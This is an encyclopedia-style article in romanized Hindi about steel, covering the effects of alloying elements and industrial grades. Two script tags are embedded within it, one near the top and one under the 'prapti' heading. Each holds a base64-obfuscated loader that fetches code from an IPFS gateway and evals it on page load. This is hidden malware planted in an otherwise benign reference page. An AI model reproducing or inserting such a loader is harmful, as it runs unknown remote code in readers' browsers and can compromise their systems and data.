इस्पात

chitr:Icon-edit.gif

is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

ispat shabd moolat: purtagali bhasha ke shabd 'speda' ‌(espada) ko roopantarit kar hindi mean liya gaya hai. jisaka karan hindi athava sanskrit mean isaka samanarthi shabd ka n hona hai. yah lohe ko vibhinn prakar se parishkrit roop ka nam hai aur anek dhatuoan ka mishran bhi hai. ispat shabd ka prayog lohe ke anek roopoan ke lie hota hai. ispat shabd itane vividh prakar ke paraspar atyadhik bhinn gunoan vale padartho ke lie prayukt hota hai ki is shabd ki thik-thak paribhasha karana vastut: asanbhav hai. parantu vyavaharat: ispat se lohe tatha karban ki mishradhatu hi samajhi jati hai.

prapti

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

ispat mean karban ki matra sadharanat: 2 pratishat se adhik nahian hoti. ayask se adhik se adhik dhatu prapt karane ke lie avakarak vastu, karban, bahutayat se milaee jati hai. karban bad mean ichchhit matra tak aksikaran ki kriya dvara nikal diya jata hai. isase sath ke doosare tatvoan ka bhi, jinaka avakaran hua rahata hai aur jo aksikaraniy hote haian, aksikaran ho jata hai. kisi any tatv ki apeksha karban, lohe ke gunoan ko adhik prabhavit karata hai; isase advitiy vistar mean vibhinn gun prapt hote haian. vese to kee any sadharan tatv bhi milae jane par lohe tatha ispat ke gunoan ko bahut badal dete haian, parantu inamean karban hi pradhan mishradhatukari tatv hai. yah lohe ki kathorata tatha pushtata samanupatik matra mean badhata hai, visheshakar uchit ushma upachar ke uparaant.

dhatukarmik vyavahar mean 'vishuddh dhatu' shabd ka upayog aise vyaparik mel ki dhatu ke lie bhi hota hai jisamean pradhanat: ve hi gun (jaise, rang vidyutachalukata ityadi) hote haian jo shuddh rasayanik dhatu mean hote haian. inamean shesh jo ashuddhata hoti hai ya to use door karana kathin hota hai, athava dhatu mean koee vishesh gun prapt karane ke lie use jan boojhakar milaya jata hai. is prakar milae jane vale tatvoan ko mishradhatukari tatv kahate haian.

sanrachana tattv

sadharan ispat mean, chahe vah jis vidhi dvara banaya gaya ho, karban tatha maianganiz 0.10 se 1.50 pratishat, silikan 0.20 se 0.25 pratishat, gandhak tatha f aausaphoras 0.01 se 0.10 pratishat tatha taanba, eluminiyam aur arasenik nyoon matra mean upasthit rahate haian. pray: haidrojan, aauksijan tatha naitrojan bhi alp matra mean rahate haian. is jati ke ispat kee prakar ke kam mean ate haian. yadyapi sabhi ispat mishradhatu hi haian, tathapi sadharan bolachal mean ispat ko ek saral (amishr) dhatu hi mana jata hai. oopar die hue vishleshan se yadi kisi tatv ki matra adhik ho, athava ispat mean doosare tatv, jaise nikal, kromiyam, vainediyam, tangstan, malibdinam, taiteniyam adi bhi hoan, jo samanyat: ispat mean nahian hote, to vishesh ya mishr dhatviy ispat banata hai. yaantrik gunoan ki vriddhi ke lie hi samanyat: yah milavat ki jati hai. ispat ki kuchh visheshataean, jo mishradhatukari tatvoan dvara prabhavit hoti haian, is prakar haian:

yaantrik gunoan mean vriddhi

1. taiyar ispat ki pushtata mean vriddhi
2. kisi nimnatam kathorata ya pushtata par chim depan (tafanes) athava sughatyata (plaistisiti) mean vriddhi.
3. us adhikatam motaee mean vriddhi jise bujhakar vaanchhit sima tak k da kiya ja sakata ho.
4. bujhakar kathorikaran ki kshamata mean kami.
5. thandi riti se kathorikaran ki dar mean vriddhi.
6. kharadane ityadi ki kriya sugamata se kar sakane ke vichar se k daee ko surakshit rakhakar sughatyata mean kami.
7. ghisav-pratirodh athava katane ke samarthy mean vriddhi.
8. ichchhit kathorata prapt karate samay aianthane ya chatakane mean kami.
9. ooanche ya nimn tap par bhautik gunoan mean unnati.

chubankiy gunoan mean vriddhi

1. praranbhik chuanbakashilata (parmiebiliti) tatha adhikatam preran (iandakshan) mean vriddhi.
2. prasahi (koarsiv) bal, mandayan (histerosis) tatha vidyuth‌ (vat) hani mean kami (chuanbakiy arth mean komal loha).
3. prasahi bal tatha chuanbakiy sthayitv (rimeneans) mean vriddhi.
4. sabhi prakar ke chubankiy gunoan mean kami.

rasayanik nishkriyata mean vriddhi

1. ardr vatavaran mean moracha lagane mean kami.
2. uchch tap par bhi rasayanik kriyashilata mean kami.
3. rasayanik vastuoan dvara akraman mean kami.

loha do prakar ke ati upayogi samamapiy (aisometrik) ravoan ke roop mean rahata hai:

1. ailfa loha, jisake thos ghol ko 'ferait' kahate haian.
2. gama loha, jisaka thos ghol 'aausatenait' hai.

shuddh lohe ka ailfa roop lagabhag 910° sean. se kam tap par rahata hai; adhik tap par gama roop rahata hai. in donoan roopoan ke lohoan mean vividh mishradhatukari tatvoan ko ghulanashilata ati bhinn hai. ==rasayanik visheshataean==

• vyaparik karban-ispat, dhatu-karmik vichar se, lauh karabaid ka pherait mean ek vikshepan (disparshan) hai, jisamean lauh karabaid ka anupat karban ki matra par nirbhar rahata hai.
• karban ispat ke mote tuk doan ko aisi vidhiyoan tatha daroan se ek sima tak thanda kiya ja sakata hai ki pherait mean simeantait ke sanbhav vitaranoan mean se koee bhi vitaran upalabdh ho jae. sanrachana tatha ushma upachar ke vichar se karban ispat ke apekshakrit aise chhote namoone saralata se chune ja sakate haian jinamean sadharan tap par pray: mahattam yaantrik gun hoan.
• akathorikrit ispat ke do avayavoan mean doosara karabaid kala (fez) hai. karabaid ki matra, jo karban ke anupat par nirbhar rahati hai, ispat ke gunoan ko badalati hai. vikshepan (disparshan) mean karabaid ke kanoan ke roop tatha usaki sookshmata se yah aur bhi adhik badalati hai.
• ispat ko kathor karane mean tatha pani chadhate samay, mishradhatukari tatv ki upasthiti aant mean prapt padarth ko ekadam badal sakati hai. phalat: sanrachana aur isalie ispat ke gun, jo isi par atyadhik adharit haian, aaustenait ki sanrachana tatha dane ke pariman par nirbhar haian.
• bujhae hue ispat karban ke matranusar vibhinn kathorata vale hote haian. kathorata ke lie keval karban par hi nirbhar hone mean ispat ko ekaek bujhana p data hai. isase ya to doosari buraiyaan utpann ho sakati hai athava bahut bhitar tak kathorikaran nahian ho pata hai. kuchh uchch mishradhatviy ispatoan mean sadharan tap par hi apekshakrit dhire dhire thanda kar, yah kathorikaran kuchh aanshoan mean prapt kiya ja sakata hai.
• bujhae hue tatha kathorikrit ispatoan mean aantarik tanav hota hai, jo phir se garam karake door kiya jata hai. is kriya ko pani chadhana (teanpariang) kahate haian.

mishradhatukari tatvoan ka prabhav

aaustenait roopaantaran mean karban ke atirikt any mishradhatukari tatv samanyat: susti paida karate haian. kobalt chho d any tatvoan ki upasthiti mean bujhane par adhik gaharaee tak kathorikaran hota hai. sadharanataya sabhi mishradhatviy ispatoan tatha bahut se karaban-ispatoan mean ichchhit gunoan ka achchha sanyog uchit ushmaupachar se prapt hota hai.

karban

sade karban-ispat mean, karban ki matra ko 0.1 pratishat se 1.0 pratishat tak ya adhik badhane par tanav pushtata badhati hai. bujhae hue karban ispat mean tanav pushtata atyadhik badh jati hai, jaise 1 pratishat karban par 150 tan varg ianch tak. bujhae hue tatha pani chadhae (teanpar kie) ispat ki shakti pani chadhane ke tapakram par nirbhar rahati hai.

ailyuminiyam

dhatu ke danoan ke pariman (gren saiz) ko niyantrit karane ke lie tho di matra mean ailyuminiyam, 3 pauand prati tan tak, pighale hue ispat mean milaya jata hai. satah ki atyadhik kathorata vale bhagoan mean 1.3 pratishat tak ailyuminiyam rahata hai.

boran

boran ispat adhunik vikas hai. kuchh nimn mishradhatviy ispatoan mean 0.003 pratishat jaisi kam matra mean boran milae jane par kathor ho jane ki kshamata badhati hai tatha yaantrik gunoan ki unnati hoti hai.

kromiyam

akele athava doosare mishradhatukari tatvoan se sanyojit kromiyam, ispat ka gharshan-avarodh tatha kathor ho sakane ki kshamata badhata hai. adhik matra mean, 12 se 14 pratishat tak, hone par yah akalush (stenales) ispat ka avashyak tatv hai. isi athava isase bhi adhik matra mean (20 pratishat tak) kromiyam rahane par, nikal aur kabhi-kabhi doosare tatvoan ke sath milakar, tarah tarah ke ushma pratirodhak ispat tatha vibhinn prakar ke aaustenait ispat banate haian jo marchean tatha aml ki kriya ke prati atyadhik avarodhakata ke lie prasiddh haian. kromiyam gharshan-avarodh ki unnati karata hai; isalie 2 pratishat karban ke sath 12 pratishat tak kromiyam kuchh vishesh tarah ke yantroan tatha thappoan ke lie ispat banane mean upayukt hota hai. prishth kathorikaran (kes hardeniang) tatha naitraidiang ke lie ispat mean kromiyam pray: 2 pratishat se kam hi hota hai. sidhe kathorikrit chharro (bal beyariang) tatha kuchalane ki mashinavale goloan ke ispat mean kromiyam ki matra adhik hoti hai.

kobalt

kobalt se, kuchh uchch veg vale yaantrik ispatoan ki katane ki kshamata badhati hai. kuchh ushma pratirodhak ispatoan mean, jaise gais tarbin ianjan ke dhale hue bledoan mean, yah prayukt hota hai. adhik matra mean yah aise ispat ka avashyak aang hota hai jo un ati kathin paristhitiyoan ko sahan karane ke lie banate haian jinamean gais tarbin ke bled kary karate haian. in upayagoan mean kobalt milane se ispat ko ushma avarodhak gun, satah par chipp d (skel) n banane dene tatha dhire-dhire map mean svat: parivartan (krip) ko rokane ki kshamata milati hai. sthayi chuanbak ki mishradhatuoan mean bhi kobalt paryapt matra mean rahata hai.

taanba

bina taanba ke ispat ki tulana mean taanba ki tho di bhi matravale ispat mean sanksharan-avarodh adhik hota hai. grihanirman ke lie prayukt athava aise hi doosare prakar ke naram ispatoan mean lagabhag 0.6 pratishat tak taanba rahata hai.

maianganij

ispat ka thosapan badhane ke lie tatha bachi huee gandhak se milakar, salphaid ke karan, bhurabhurapan rokane ke lie 0.5 se 1.0 pratishat tak maianganij milaya jata hai. 1.0 pratishat se 1.8 pratishat tak, maianganiz ispat ki tanavapushtata tatha kathorata mean vriddhi karata hai. 13 pratishat maianganij-ispat ka ek alag hi varg hai. aisa ispat thoankane pitane se k da ho jata hai, arthath‌ sughaty tanav (plaistik stren) p dane par svayan k da ho jata hai. kisi sadharan ushma upachar dvara isaka kathorikaran nahian hota. yah adhikatar dhalaee ke lie prayukt hota hai. jham (drejar) ke oshth,chattan to dane vali mashinoan ke jab de, rel ki patariyoan ki sanghi (krasovar) tatha any vishesh marg sanbandhi karyo mean, jahaan ghisaee ki vishesh ashanka rahati hai, isaka upayog hota hai.

molibdenam

ispat mean molibdenam shakti, kathor ho sakane ki kshamata tatha dhire-dhire svat: parivartan ke prati avarodh badhata hai. uchch tapakram par kary karane ke lie ispat ki kathorata surakshit rakhane mean bhi malibdinam sahayak hai. isalie kuchh uchch veg ispatoan mean tangstan ke ek aansh ke badale isi ka upayog hota hai. udaharan ke lie 5.5 pratishat molibdenam aur 6 pratishat tangstan ka ek uchchaveg ispat hai, jo pramanik 18 pratishat tangstan ki tulana mean upayogi aur sasta hota hai.

nikal

ispat mean milane ke lie (maianganiz ko chho d) sabase adhik upayog isi ka hota hai. pighale hue lohe mean yah sabhi anupatoan mean ghul jata hai tatha thanda hone par thos ghol banata hai. 5 pratishat tak rahane par yah ispat ka chim dapan tatha tanav pushtata badhata hai. yah kathor ho sakane ki kshamata ko bhi badhata hai, jisase pani mean bujhane ki jagah tel mean bujhakar kathorikaran sanbhav hai. phatane tatha aianthane ki pravritti ko bhi kam karata hai, jisase b di nap ke aise ispat ko bhi achchhi tarah kathor kiya ja sakata hai.

kuchh prishth-

kathorikaran ispatoan mean 1.0 se 5.0 pratishat tak nikal rahata hai. naitraidiang ispatoan mean sadharanat: nikal ki matra adhik se adhik 0.4 pratishat tak hi simit hai.

bahut se sanksharan-

avarodhak tatha 'stenales' aaustenaitamay ispatoan mean nikal ka aansh 8 pratishat tatha isase adhik hota hai. prasiddh 18 : 8 kromiyam-nikal-ispat tatha usase milate julate ispat bhi isi varg mean sammilit haian. kuchh ati navin prakar ke ispatoan mean nikal ki matra adhik hoti haian, jaise 20 pratishat ya isase bhi adhik. ye uchch tap tatha atyadhik dabav ki sthitiyoan mean kary karane ke lie upayukt hote haian; udaharanat:, gais tarbin ke sthir tave (disk) tatha bled. 36 pratishat nikal ka, ispat, jo 'inavar' nam se prasiddh hai, apane ati nimn-prasar-gunaank ke karan yatharthadarshi gh diyoan, svaritr (tayooniang fork) tatha bahut se vaijnanik upakaran banane mean upayukt hota hai.

kolanbiyam

kromiyam ispat ya 18 : 8 kromiyam-nikal prakar ke ispat ko sthir karane ke lie 1 pratishat athava aisi hi matra tak kolanbiyam ka upayog hota hai. yah taiteniyam ke sadrish hi kary karata hai.

silikan

maianganiz ki bhaanti silikan sabhi ispatoan mean praranbh se hi, athava ispat banate samay milavat ke karan, rahata hai. isaki upasthiti se ispat ka anaksikaran hona pray: nishchit sa ho jata hai. silikan mean, adhik matra mean rahane par, ispat ki shakti tatha kathor ho sakane ki kshamata badhane ki tatha aantarik tanyata kam karane ki pravritti hoti hai. silikan maianganiz ke kamani vale ispat mean isaki matra 1.5 pratishat se 2 pratishat tak rahati hai, jisamean maianganiz ki matra lagabhag 0.6-1.0 pratishat hoti hai. silikan-kromiyam se bane ianjanoan ke valvoan ke ispat mean silikan ki matra 3.75 pratishat hoti hai. nikal-kromiyam-tangstan valvoan ke ispat mean isaki matra 1.0-2.5 pratishat hoti hai.

gandhak

jaisa vidit hai, ispat mean gandhak ka hona sadharanataya upadravaprad hai. mishradhatukari tatv ke roop mean isaka upayog keval svachchhandata se katane vale ispat mean hota hai.

siliniyam

yah tatv gandhak ke sadrish hi kary karata hai.

taiteniyam

tho di matra mean milane se yah ispat ki sthirata badhata hai, aur kahate haian, isake karan dane (gren) ka pariman adhik sookshm hota hai.

tangstan

20 pratishat tak ki matra mean tangstan uchchaveg ispat ka avashyak avayav hai; isalie ki yah ispat ko ushma upachar ke bad atyadhik kathorata pradan karata hai, jo ooanche tap par bhi sthir rah jati hai. garm-thappa-ispat tatha doosare garm kary ke lie upayukt ispat mean bhi isaka upayog hota hai. isamean isaki matra 2 pratishat se lagabhag 10 pratishat tak hoti hai.

vainediyam

ispat mean vainediyam, fero-vainediyam ke roop mean milaya jata hai. yah shaktishali schachchhakarak vastu hai. isase ispat ki sthirata tatha saphaee badhati hai tatha ushma upacharit karbanamay aur mishradhatviy ispat ke yaantrik gun unnat hote haian. hava mean kathorikaran ke gun tatha katane ki kshamata badhane ke lie 1½ pratishat tak vainediyam uchchaveg yaantrik ispat mean prayukt hota hai. ek prakar ke prasiddh uchchaveg ispat mean vainediyam 4.5 jaise ooanche anupat mean rahata hai.

zirakoniyam

kuchh uchch kromiyam-nikal tatha aaustenaitamay 18 : 8 prakar ke ispat mean, mukt katane ke gun dene ke lie, tho di matra mean yah tatv gandhak ke sath prayukt hota hai.

nimn-mishr-dhatviy, uchch-tanav-pusht, bhavan-nirman-ispat

pramanik byore ke anusar in ispatoan ki aantim tanav-pushtata 37-43 tan prati varg ianch hai, tatha trotanaviandu (vah sima jisapar chh d tootata hai)

1. silikan ispat
2. maianganiz ispat
3. taanbe ki tho di matra ke sath maianganiz ispat.
4. maianganiz, kromiyam tatha taanbe ki milavat ka ispat.

• varg 1 : silikan ispat ki, jisaki maulikata amariki hai, aantim tanav-pushtata 37.7-42.4 tan prati varg ianch tatha nimnatam trotanabiandu 20.1 tan prati varg ianch hai. isaki tanavapushtata karaban ki ooanchi matra ke karan utpann hoti hai (0.4% tak).

• varg 2 : is samooh ke ispat adhikatar maianganiz ki matra (lagabhag 1.25%) par nirbhar haian.

• varg 3 : samanyat: 0.25% se 0.5% tak taanbe ki milavat hone par varg (2) ke saman hi is varg ki bhi sadharan prakriti hoti hai. maianganiz ke sath taanbe ki matra sanksharan-pratirodh badhati hai, jo narm ispat ki apeksha 30-40% adhik ho jati hai.

• varg 4 : is varg ke ispat mean maianganiz, kromiyam tatha taanba mishrit rahata hai. isamean ooancha trotanabindu tatha sath hi unnat sanksharan avarodh milata hai.

vayuyan motar tatha ga diyoan ke ianjan ka ispat

motaraga diyoan ki kraiank dhuri sadaiv pitakar hi taiyar ki jati hai tatha 45-65 tan prati varg ianch ki sadharan sima tak tanav-pushtata prapt karane ke lie ushmaupacharit hoti hai. avashyak ispat ka chunav puraje ki pradhan motaee par nirbhar hai. chhoti kraiank dhuri ke lie 0.40% karaban ispat, bina nikal ke ya 1.0% nikal sahit, athava nimn mishradhatviy maianganiz-malibdinam ispat ko prathamikata di jati hai. bhari kraiank dhuriyaan nikal-kromiyam-malibdinam ispat ki banati haian, jo 55-65 tan prati varg ianch tanav-pushtata ke lie ushma-upacharit rahati haian. nikal-kromiyam ispat mean, jo pani chadhaee huee avastha mean upayukt hota hai, pani chadhane par bhurabhurapan bachane ke lie malibdinam ki milavat ek manak prachalan hai.

havaee ianjan ki kraiank dhuri ke lie naitraidiang ispatoan ka upayog prachalit hai. ye kromiyam malibdinam ispat hote haian jo 60-70 tan prati varg ianch tanav-pushtata tak ushma-upacharit kie jate haian.

motar mean sanbandhak dandoan (kanektiang r aaud) ko madhyam karaban ya maianganij-malibdinam ispat se, jo 45-65 tan prati varg ianch tanav-pushtata tak ushma-upacharit hote haian, pitakar banaya jata hai. havaee ianjan ke sanbandhak dand ke lie 3.5% nikal ispat, 55-65 tan prati varg ianch tanav-pushtata dene ke lie upacharit, tatha nikal-kromiyam-malibdinam ispat, 65-70 tan prati varg ianch tanav-pushtata tak upacharit, anukool haian.

motar ke valvoan ke lie 3.5% silikan aur 8.5% kromiyam vale ispat ka upayog hota hai tatha kabhi-kabhi aaustenaitamay ispat, jisamean 13% kromiyam, 13% nikal, 2.5% tangstan tatha 0.4% karaban hota hai, nishkasak (egz aaust) valv ke lie prayukt hota hai. kraiank dhuri tatha taipat prishth kathorikrit ispat ke banae jate haian, jisamean 5% nikal ispat athava 4% nikal aur 1.3% kromiyam vale ispat ka prayog hota hai.

daantidar chakroan ka vinash thakan (faitig) se utana nahian hota jitana ghisane ke karan. ye adhikatar prishth kathorikrit ispat se banae jate hai; jaise 0.20-0.28% karaban sahit 2 pratishat nikal molibdinam ispat, 3% nikal ispat athava 5% nikal ispat.

gair tarbin ispat

is kary mean prayukt samagri mote taur par tin shreniyoan mean vibhakt ki ja sakati hai. inamean se pahala pheritik (parlitik) ya anh‌-astenaitamay varg kaha ja sakata hai, jisamean ve mishr dhatuean haian jo udaharanat: 600° selsiyas adhikatam tap tak kary ke lie anukool haian.

doosari shreni mean ve mishr dhatuean haian jinaka vikas pradhanat: chipp d n banane dene ki ooanchi kshamata ke lie hua hai tatha jinaki bhar sanbhalane ki kshamata par adhik dhyan nahian diya gaya hai. is varg mean ane vale ispatoan ki rasayanik sanrachana mean adhik aantar hai. pheritik tatha astenaitamay donoan prakar ki mishr dhatuean isi mean haian. kam shakti ke aantardah ianjan mean valv-ispat ke roop mean prayukt hone vale sade 6% kromiyam ispat se lekar dhale athava pitakar banae ge 65% nikal aur 18% kromiyam vali mishr dhatuoan tak, jo namak ke ghol vale ushmakoan mean tatha any sanksharak paristhitiyoan mean uchch tap par prayog ke lie upayukt hoti haian, is varg mean sammilit haian.

tisari shreni mean ve astenaitamay mishr dhatuean ati haian jo 600° sean. se oopar ke tap par dhire-dhire hone vale svat: parivartan ke viruddh ooanchi pratirodhak shakti ke lie hi banaee gee haian. is sthiti mean moracha tatha chipp d n banane dene ki achchhi kshamata bhi avashyak hai. is tritiy varg ka adharabhoot padarth prasiddh 18% kromiyam aur 8% nikalavala 'stenales' ispat hai, parantu kuchh navin tatha shreshth mishr dhatuean ati jatil prakriti ki haian. inamean loha keval alp matra mean hi ek ashuddhi ke roop mean rahata hai.

vashp tarbin ke lie ispat

adhunik vashp tarbin, parishuddh mashin kie hue aise aangoan se bani rahati hai jinhean uchch tap par atyadhik tanav tatha bahudha kathin sanksharan ki sthiti sahan karani p dati hai tatha jo lanbi avadhi tak lagatar kary mean lage rahate haian. tarbin ki dhuri pitakar banae ge, tel mean bujhakar kathor kie ge tatha kuchh pani utare hue karaban ispat ki hoti hai, jisamean karaban lagabhag 0.4% tatha maianganiz 0.5 se 1.0% tak hota hai. uchch dabav vale tarbin ki dhuri aantarik tanav rahit kie tatha pani chadhe karaban-malibdinam-vainediyam ispat se banati hai. tarbin ke siliandar ke lie pray: sada karaban vale athava karaban-maianganiz-vale (maianganiz 1.4-1.8%) ispat ka upayog hota hai. keval un siliandaroan ke lie jo ati uchch tap par kary karate haian 0.5% malibdinam ispat ki avashyakata p dati hai. bled ke lie vividh stenales ispat tatha ooanchi nikal mishradhatuean prayukt huee haian. ajakal sabase adhik prayukt hone vala padarth 13% kromiyam-nimn-karaban ispat hai.

bayalar

ajakal ke bayalar 600°C tak tap tatha 3,200 pauand prati varg ianch se adhik dab par kary karate haian. dhol (dram) saral karaban-ispat, athava 3% nikal, 0.7% kromiyam aur 0.6% malibdinam vale ispat se lavangit (rivet) karake, athava veld karake, athava tapt pitakar banae jate haian. bayalar ki naliyaan pray: karaban-ispat, athava kromiyam-malibdinam ispat ki thos khianchi huee hoti haian.

dabasah baratan

adhunik rasayanik udyog mean rasayanik kriya karane tatha vibhinn gaisoan ko rakhane ke lie dabasah baratanoan ki avashyakata p dati hai. in baratanoan ke lie upayukt padarth tin varg ke hote haian: # karaban ispat

1. mishradhatu ispat
2. stenales ispat

samanyat: madhyam tanav-pusht ispat, jinamean maianganiz ki matra 1.5 se 1.8% tak tatha 0.25% karaban rahata hai tatha jinaki tanav-pushtata 37 se 45 tan prati varg ianch tak hoti hai, madhyam tatha uchch dab par kary ke lie dabasah baratanoan mean upayukt hote haian.

rasayanik udyog mean ispat

sadaiv vikasit hoti huee nee rasayanik vidhiyoan ke karan tatha un vishesh, navin paristhitiyoan ka samana karane ke lie jo in vidhiyoan mean upasthit hoti hai, vibhinn prakar ke ispat tatha any dhatuoan ka upayog hota hai. rasayanik udyog mean mal rakhane ke baratanoan, anek mashinoan aur bahut prakar ke nirman baratanoan tatha naliyoan adi ke lie naram ispat hi atyadhik prayukt hota hai. kromiyam tatha kromiyam-nikal astenaitamay sanksharan avarodhak ispat ka upayog rasayanik udyog mean bahut haian. prachalit ispat ki rasayanik sanrachana mean 18% kromiyam, 8% nikal tatha lagabhag 0.18% karaban rahata hai tatha ise taiteniyam ya niyobiyam ki sahayata se sthayikrit kar diya jata hai. parantu aise ispat ka sanksharan-avarodh 2.5-3% malbdiinam milane se atyadhik badh jata hai. rasayanik udyog mean uchch tap par kary ke lie 25% kromiyam tatha 20% nikalavala ispat vyavahrit hota hai.

aujar tatha thappe ke lie ispat

adhunik utpadan

vidhiyoan ka vikas aujar banane mean kam anevale aise ispat ki unnati par hi bahut kuchh nirbhar raha hai jo uttarottar kathin paristhitiyoan mean bhi kary kar sake. vaise to aujari ispat aganit prakar ke haian, par unhean suvidhapoorvak in sat samoohoan mean baanta ja sakata hai:

1. sade karaban aujari ispat
2. nimn mishradhatviy aujari ispat
3. tel mean bujhakar kathor kiya janevala aujari maianganiz ispat
4. aghat-pratirodhak aujari ispat
5. uchchakaraban uchchakromiyam mishradhatu
6. uchch veg ispat tatha garam thappe ka ispat
7. nikal-kromiyam-malibdinam ispat.

oopar die hue ek ya adhik maulik gun, inamean se pratyek samooh mean adhik aansh tak pae jate haian.

sada karaban aujari ispat

ek bar pani mean bujhakar isaka prishth kathor, komal tatha sadharan kathorata ka banaya ja sakata hai.

nimn mishradhatviy aujari ispat

karaban vale aujari ispat mean 0.2 se 0.5% tak vainediyam ki upasthiti danedar hona rokati hai tatha kathorikaran ki kshamata ko labhadayak sima tak badhati hai. 1.5% kromiyam milane se kathorikaran ki kshamata tatha gharshan-avarodh badhata hai aur yadi maianganiz 0.5 tatha 0.75% ke bich mean sthir rakha jae to yah tel mean bujhakar kathorikaran yogy ispat ho jata hai. 1.2% karaban tatha 1.3% tangstan vala ispat, jo pray: dhatukat ari ke phal (haikas aau bled) ke lie prayukt hota hai, isaka ek achchha udaharan hai.

tel mean bujhakar kathorikaran yogy maianganiz aujari ispat

tel mean bujhakar kathorikrit pramanik ispat mean 0.8-1.0% karaban tatha 1.0-2.0% maianganiz rahata hai.

aghat pratirodhak ispat

is prakar ke ispatoan mean se saralatam ispat mean 0.6% karaban, 0.6% maianganiz tatha 0.4-1.4% kromiyam rahata hai. jisamean adhik kromiyam rahata hai vah mote yantroan ke lie upayukt hota hai.

uchch karaban, uchch kromiyam mishradhatu

pramanik mishradhatu mean 2.2-2.4% karaban tatha 12-14% kromiyam rahata hai. isamean uchch gharshan-avarodh tatha uchch sanksharan-avarodh ka gun hota hai. yah tel mean bujhakar kathor kiya ja sakata hai, parantu 1% malibdinam ki milavat ise vayu mean kathorikaran yogy mishradhatu bana deti hai.

uchch veg tatha garm thappe ke lie upayukt ispat

ooanche tap par kary karate samay achchhi kathorata tatha katane ka dhar surakshit rakhane ki kshamata hi uchchaveg ispat ka mukhy gun hai. adhik upayog mean ane vale is prakar ke ispat mean lagabhag 0.75% karaban, 1.8% tangastan, 4% kromiyam tatha 1.5% vainediyam rahata hai.

nikal-kromiyam-malibdinam ispat

0.3-0.6% karaban, 4% nikal, 1.3% kromiyam tatha 0.3% malibdinam sahit ispatoan mean atyadhik chim dapan (tafanes) hota hai. chuanbakayukt yantroan ke bahut se aise karyo mean jahaan pahale keval vidyuchchuanbak hi vyavahrit hote the, ab navin khojoan ke karan, sthayi chuanbak saphalatapoorvak prayukt hote haian. chuanbak ispat do vargo mean vibhajit kiya ja sakata hai-vah jo m aaurtenasitik ispat hota hai tatha vah jisamean avakshepan ki vidhi dvara chuanbakiy kathorata utpann ki jati hai. martenasitik ispat kromiyam ispat (karaban 0.9%, kromiyam 3.5%), tangstan ispat (karaban 0.7%, kromiyam 0.3% tatha tangastan 6%) tatha kobalt ispat (35% kobalt, 1% karaban, 5-9% kromiyam, lagabhag 1% tangstan aur 1.5% malibdinam) ko milakar banaya jata hai. avakshepan dvara kathorikrit mishradhatuoan mean ailyuminiyam, nikal, kobalt tatha taanba, kuchh taiteniyam, niyabayam ya malibdinam ke sath rahate haian.

1900 ee. tak, sadharan upayog mean, loha hi akele 'naram' lauhachuanbakiy vastu tha. tatpashchath‌ anek mishradhatuoan ka pravesh hua, jinamean samuchit ushma upachar se ooanchi praranbhik chuanbakashilata (parmiebiliti) tatha nimn mandayan (histerisis) hani utpann hoti hai! inhean par-mishradhatu kahate haian. nikal-loha ki bahut si mishradhatuean, jinamean doosari dhatuoan ki alp pratishat mean hi milavat rahati hai, is kshetr mean ati shreshth thahari haian. in mishradhatuoan mean 35-90% nikal rahata hai tatha inamean milaee jane vali pradhan dhatuean malibdinam, kromiyam tatha taanba hai.

ianjiniyari mean aise ispat tatha mishradhatuoan ke anek upayog haian, jo yaantrik tanav sah sake ya sahara de sakean, parantu asapas mean chuanbakiy kshetr ki vriddhi n karean. inaki chuanbak-pravritti (saseptabaliti) ko lagabhag shoony tatha chuanbakashilata ko lagabhag ikaee tak pahuanchana chahie. is kary mean prayukt hone vale padarth nimnalikhit haian:

1. astenaitamay mishradhatu dhalavaan loha tatha ispat
2. tapasamakara mishradhatu jinamean pradhanat: nikal (30-36%)
3. aur loha (59-70%) tatha sath mean kabhi kabhi maianganiz ya kromiyam (5%) hota hai, tatha (3) nishchuanbakiy ispat (karaban 0.45%, maianganiz 8.5-9.5%, nikal 7.5-8.5%, kromiyam 3.0-3.5%).

tika tippani aur sandarbh

• ispat (bharatakhoj)